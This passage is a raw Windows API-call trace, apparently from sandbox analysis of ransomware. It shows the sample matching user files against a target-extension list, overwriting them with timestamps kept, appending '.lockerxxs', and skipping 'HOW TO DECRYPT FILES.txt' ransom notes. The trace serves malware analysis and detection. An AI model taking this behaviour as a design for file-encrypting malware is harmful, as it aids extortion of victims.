lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13426, lpOverlapped=0x0) returned 1 [0087.461] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.461] CloseHandle (hObject=0x8c) returned 1 [0087.461] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gumacjl 4bwmhoim.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gumacjl 4bwmhoim.jpg.lockerxxs")) returned 1 [0087.463] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee347e30, ftCreationTime.dwHighDateTime=0x1d5e0f3, ftLastAccessTime.dwLowDateTime=0xf8686240, ftLastAccessTime.dwHighDateTime=0x1d5e24c, ftLastWriteTime.dwLowDateTime=0xf8686240, ftLastWriteTime.dwHighDateTime=0x1d5e24c, nFileSizeHigh=0x0, nFileSizeLow=0xb671, dwReserved0=0x2d00032e, dwReserved1=0x4e00c4, cFileName="HRgFaHIp.xlsx", cAlternateFileName="HRGFAH~1.XLS")) returned 1 [0087.463] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.463] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HRgFaHIp.xlsx") returned -1 [0087.463] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HRgFaHIp.xlsx") returned -1 [0087.463] lstrcmpiA (lpString1="", lpString2="HRgFaHIp.xlsx") returned -1 [0087.463] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\GuMacjl 4BwmHOIM.jpg") returned="GuMacjl 4BwmHOIM.jpg" [0087.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.463] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.463] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.463] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.463] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HRgFaHIp.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx" [0087.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.ems") returned 0 [0087.463] lstrlenA (lpString="*.ems") returned 5 [0087.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.db") returned 0 [0087.463] lstrlenA (lpString="*.db") returned 4 [0087.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.dbf") returned 0 [0087.463] lstrlenA (lpString="*.dbf") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.myox") returned 0 [0087.464] lstrlenA (lpString="*.myox") returned 6 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.myo") returned 0 [0087.464] lstrlenA (lpString="*.myo") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qbw") returned 0 [0087.464] lstrlenA (lpString="*.qbw") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qbb") returned 0 [0087.464] lstrlenA (lpString="*.qbb") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qbm") returned 0 [0087.464] lstrlenA (lpString="*.qbm") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qbo") returned 0 [0087.464] lstrlenA (lpString="*.qbo") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qbx") returned 0 [0087.464] lstrlenA (lpString="*.qbx") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qba") returned 0 [0087.464] lstrlenA (lpString="*.qba") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qby") returned 0 [0087.464] lstrlenA (lpString="*.qby") returned 5 [0087.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qbj") returned 0 [0087.464] lstrlenA (lpString="*.qbj") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.ofx") returned 0 [0087.465] lstrlenA (lpString="*.ofx") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.qif") returned 0 [0087.465] lstrlenA (lpString="*.qif") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.mye") returned 0 [0087.465] lstrlenA (lpString="*.mye") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.mbox") returned 0 [0087.465] lstrlenA (lpString="*.mbox") returned 6 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.eml") returned 0 [0087.465] lstrlenA (lpString="*.eml") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.pst") returned 0 [0087.465] lstrlenA (lpString="*.pst") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.ost") returned 0 [0087.465] lstrlenA (lpString="*.ost") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.idx") returned 0 [0087.465] lstrlenA (lpString="*.idx") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.dbx") returned 0 [0087.465] lstrlenA (lpString="*.dbx") returned 5 [0087.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.sql") returned 0 [0087.466] lstrlenA (lpString="*.sql") returned 5 [0087.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.mdb") returned 0 [0087.466] lstrlenA (lpString="*.mdb") returned 5 [0087.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.fdb") returned 0 [0087.466] lstrlenA (lpString="*.fdb") returned 5 [0087.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.wab") returned 0 [0087.466] lstrlenA (lpString="*.wab") returned 5 [0087.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.dat") returned 0 [0087.466] lstrlenA (lpString="*.dat") returned 5 [0087.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.txt") returned 0 [0087.466] lstrlenA (lpString="*.txt") returned 5 [0087.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.jpeg") returned 0 [0087.466] lstrlenA (lpString="*.jpeg") returned 6 [0087.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.jpg") returned 0 [0087.466] lstrlenA (lpString="*.jpg") returned 5 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.png") returned 0 [0087.467] lstrlenA (lpString="*.png") returned 5 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.php") returned 0 [0087.467] lstrlenA (lpString="*.php") returned 5 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.cs") returned 0 [0087.467] lstrlenA (lpString="*.cs") returned 4 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.cpp") returned 0 [0087.467] lstrlenA (lpString="*.cpp") returned 5 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.rar") returned 0 [0087.467] lstrlenA (lpString="*.rar") returned 5 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.zip") returned 0 [0087.467] lstrlenA (lpString="*.zip") returned 5 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.html") returned 0 [0087.467] lstrlenA (lpString="*.html") returned 6 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.htm") returned 0 [0087.467] lstrlenA (lpString="*.htm") returned 5 [0087.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", pszSpec="*.xlsx") returned 1 [0087.467] lstrlenA (lpString="*.xlsx") returned 6 [0087.467] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx" [0087.467] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx" [0087.468] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx." [0087.468] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx.lockerxxs" [0087.468] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hrgfahip.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.468] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb671 [0087.468] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xee347e30, dwHighDateTime=0x1d5e0f3), lpLastAccessTime=0x407536*(dwLowDateTime=0xf8686240, dwHighDateTime=0x1d5e24c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf8686240, dwHighDateTime=0x1d5e24c)) returned 1 [0087.469] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.469] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb64b, lpOverlapped=0x0) returned 1 [0087.471] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx") returned="HRgFaHIp.xlsx" [0087.471] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.471] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb64b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb64b, lpOverlapped=0x0) returned 1 [0087.472] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.472] CloseHandle (hObject=0x8c) returned 1 [0087.472] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hrgfahip.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\hrgfahip.xlsx.lockerxxs")) returned 1 [0087.474] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41000342, dwReserved1=0x4e00c4, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0087.474] lstrcmpA (lpString1=".", lpString2="Identities") returned -1 [0087.474] lstrcmpA (lpString1="..", lpString2="Identities") returned -1 [0087.474] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HRgFaHIp.xlsx") returned="HRgFaHIp.xlsx" [0087.474] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" [0087.474] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned 56 [0087.474] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502618 [0087.475] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.475] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0087.475] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.475] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.475] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0087.475] lstrcmpA (lpString1=".", lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned -1 [0087.475] lstrcmpA (lpString1="..", lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned -1 [0087.475] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*.*") returned="*.*" [0087.475] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\", lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0087.476] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 95 [0087.476] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.476] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.476] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.476] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.476] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.476] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.476] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.476] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0087.476] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0087.476] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ee4e620, ftCreationTime.dwHighDateTime=0x1d5d9ed, ftLastAccessTime.dwLowDateTime=0x538bde60, ftLastAccessTime.dwHighDateTime=0x1d5e4d5, ftLastWriteTime.dwLowDateTime=0x538bde60, ftLastWriteTime.dwHighDateTime=0x1d5e4d5, nFileSizeHigh=0x0, nFileSizeLow=0x151f2, dwReserved0=0x640049, dwReserved1=0x6e0065, cFileName="IF678ts2pzD cIG.m4a", cAlternateFileName="IF678T~1.M4A")) returned 1 [0087.476] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.477] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IF678ts2pzD cIG.m4a") returned -1 [0087.477] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IF678ts2pzD cIG.m4a") returned -1 [0087.477] lstrcmpiA (lpString1="", lpString2="IF678ts2pzD cIG.m4a") returned -1 [0087.477] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*.*") returned="*.*" [0087.477] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.477] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.477] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.477] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.477] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="IF678ts2pzD cIG.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a" [0087.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.ems") returned 0 [0087.477] lstrlenA (lpString="*.ems") returned 5 [0087.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.db") returned 0 [0087.477] lstrlenA (lpString="*.db") returned 4 [0087.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.dbf") returned 0 [0087.477] lstrlenA (lpString="*.dbf") returned 5 [0087.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.myox") returned 0 [0087.477] lstrlenA (lpString="*.myox") returned 6 [0087.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD cIG.m4a", pszSpec="*.myo") returned 0 [0087.478] lstrlenA (lpString="*.myo") returned 5 [0087.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IF678ts2pzD 